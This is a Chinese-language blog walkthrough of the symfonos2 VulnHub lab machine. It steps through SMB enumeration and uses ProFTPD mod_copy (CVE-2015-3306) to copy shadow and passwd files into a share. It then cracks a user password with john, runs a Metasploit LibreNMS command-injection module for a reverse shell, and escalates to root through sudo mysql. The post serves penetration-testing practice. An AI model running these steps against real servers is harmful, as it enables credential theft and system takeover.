首页 > 其他分享 >学习笔记-symfonos2-WalkThrough

学习笔记-symfonos2-WalkThrough

时间:2022-11-04 14:24:39浏览次数:73  
标签:symfonos2 141.149 192.168 WalkThrough 笔记 anonymous aeolus shadow txt

symfonos2-WalkThrough


免责声明

本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.


靶机地址

Description

OSCP-like Intermediate real life based machine designed to teach the importance of understanding a vulnerability. SHOULD work for both VMware and Virtualbox.

知识点

  • smb 信息探测
  • CVE-2015-3306
  • CVE-2018-20434
  • shadow 密码爆破

实验环境

环境仅供参考

  • VMware® Workstation 15 Pro - 15.0.0 build-10134415
  • kali : NAT 模式,192.168.141.134
  • 靶机 : NAT 模式

前期-信息收集

开始进行 IP 探活

nmap -sP 192.168.141.0/24

排除法,去掉自己、宿主机、网关, 192.168.141.149 就是目标了

扫描开放端口

nmap -T5 -A -v -p- 192.168.141.149

21、22、80、139、445

怎么又有 smb,枚举下 smb 试试

enum4linux 192.168.141.149

找到一个 /anonymous 文件夹和 2个用户,进去看看文件

smbclient //192.168.141.149/anonymous -U % -N
ls
cd backups\
ls
get log.txt

查看下 log.txt 可以发现很多线索

开头告诉你 shadow 内容在 backups 目录下,然后后面是 smb 的配置,有个密码

然后开始看 ftp 的配置,配置文件说明了是 ProFTPD 程序,还告诉你有个 aeolus 账号

想起来之前 nmap 扫描 FTP 得到的版本号是 1.3.5,也许可以找找漏洞

searchsploit -w proftpd 1.3.5

这3个都一样,漏洞编号为 CVE-2015-3306,但是这个漏洞只是可以复制文件,并不能直接进行命令执行,并且需要知道目标路径


中期-漏洞利用

这里我们从 log.txt 中可以得知 anonymous 用户的实际路径为 /home/aeolus/share,加上开头告诉你 shadow 文件在 backup 目录下,接下来就尝试将 backup目录下的 shadow 复制到 anonymous 用户目录下

ftp 192.168.141.149
site cpfr /var/backups/shadow.bak
site cpto /home/aeolus/share/shadow.txt

成功了,上 smb 下载下来

smbclient //192.168.141.149/anonymous -U % -N
ls
get shadow.txt
exit
cat shadow.txt

下面用同样的方式下载 passwd 文件

ftp 192.168.141.149
site cpfr /etc/passwd
site cpto /home/aeolus/share/passwd.txt

smbclient //192.168.141.149/anonymous -U % -N
get passwd.txt
exit

mkdir /root/.john
cp passwd.txt /root/.john
cp shadow.txt /root/.john
cd /root/.john
unshadow passwd.txt shadow.txt > hash.txt
cat hash.txt

使用 john 开始跑 hash

gunzip /usr/share/wordlists/rockyou.txt.gz
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

只跑出 aeolus 一个用户的密码,使用这个凭证成功 SSH 上去

aeolus  sergioteamo

找找提权的可能

uname -a
sudo -l
find / -perm -u=s 2>/dev/null

没成功,看看 web 方面

又是啥都没有,直接翻 web 配置文件看看

cd /etc/apache2
cat apache2.conf

看看这个端口监听文件

cat ports.conf

端口 8080 有个无法从外部访问的网站,端口转发一下

socat TCP-LISTEN:5000,fork,reuseaddr tcp:127.0.0.1:8080

现在 8080 可以通过 5000 端口访问

找找有没有可利用的漏洞

searchsploit -w librenms

看了下,需要认证,结果用 aeolus sergioteamo 可以登上去,那就用 msf 模块试试

msfconsole
search librenms
use exploit/linux/http/librenms_addhost_cmd_inject
set RHOST 192.168.141.149
set LHOST 192.168.141.134
set PORT 5000
set USERNAME aeolus
set PASSWORD sergioteamo
run


后期-提权

寻找提权利用点

python -c 'import pty; pty.spawn("/bin/bash")'
sudo -l

可以在 gtfobin 找到 mysql 提权的方法 https://gtfobins.github.io/gtfobins/mysql/

sudo mysql -e '\! /bin/sh'

提权成功,感谢靶机作者 Zayotic,和 mzfr 分享的 writeup

点击关注,共同学习!
安全狗的自我修养

github haidragon

https://github.com/haidragon

标签:symfonos2,141.149,192.168,WalkThrough,笔记,anonymous,aeolus,shadow,txt
From: https://www.cnblogs.com/haidragon/p/16857611.html

相关文章

  • 学习笔记-symfonos3-WalkThrough
    symfonos3-WalkThrough免责声明本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.靶机地址https://www.vulnhub......
  • 学习笔记-symfonos5-WalkThrough
    symfonos5-WalkThrough免责声明本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.靶机地址https://www.vulnhub......
  • Attention is all you need-论文阅读笔记
    摘要主流的序列转换模型都是基于复杂的循环或者卷积神经网络,需要进行解码器和编码器处理。表现最好的模型也是基于注意力机制,并连接编码器和解码器。本文提出一个新的简单......
  • 第十周第十二章学习笔记
    第十二章学习笔记12.1块设备I/O缓冲区I/O缓冲的基本原理非常简单。文件系统使用一系列I/O缓冲区作为块设备的缓存内存。当进程试图读取(dev,blk)标识的磁盘块时。它首先在......
  • 《what's the point: semantic segmentation with point supervision 》阅读笔记
    摘要语义分割任务在发展中呈现这样的矛盾,在推理的准确性和标注所花费的时间之间。逐像素的细节标注可以训练更准确的模型,但要花费更多的时间。图片级别的标注是一个容易实......
  • (笔记)ROS2:ament_cmake类型功能包导入消息接口三步骤
     一、三个步骤1.在CMakeLists.txt中导入,具体是先find_packages再ament_target_dependencies。2.在packages.xml中导入,具体是添加depend标签并将消息接口写入。3.......
  • IS-IS动态路由协议笔记(中)路由计算方法
    IS-IS动态路由协议笔记(中)路由计算方法中间系统到中间系统(IS-IS,Intermediatesystemtointermediatesystem,读作“i-sys”)是一种内部网关协议,是电信运营商普遍采用的......
  • 最优化理论 第一章笔记( B站龙强老师的课 )
    第一章预备知识第1.2节最优化问题举例第1.3节最优化问题的模型及分类第1.4节凸集和凸函数第1.5节数学预备知识......
  • JVM学习笔记——垃圾回收篇
    JVM学习笔记——垃圾回收篇在本系列内容中我们会对JVM做一个系统的学习,本片将会介绍JVM的垃圾回收部分我们会分为以下几部分进行介绍:判断垃圾回收对象垃圾回收算法分......
  • Flask学习笔记(十八)-Flask 信号机制
    一、说明官方文档-信号参考Flask框架中的信号基于blinker,其主要就是让开发者可是在flask请求过程中定制一些用户行为安装:pip3installblinker二、自定义信号自定义......